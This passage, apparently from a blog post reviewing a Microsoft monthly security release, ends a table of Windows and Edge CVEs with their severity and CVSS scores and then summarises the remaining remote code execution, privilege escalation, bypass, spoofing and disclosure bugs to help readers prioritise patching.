  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at 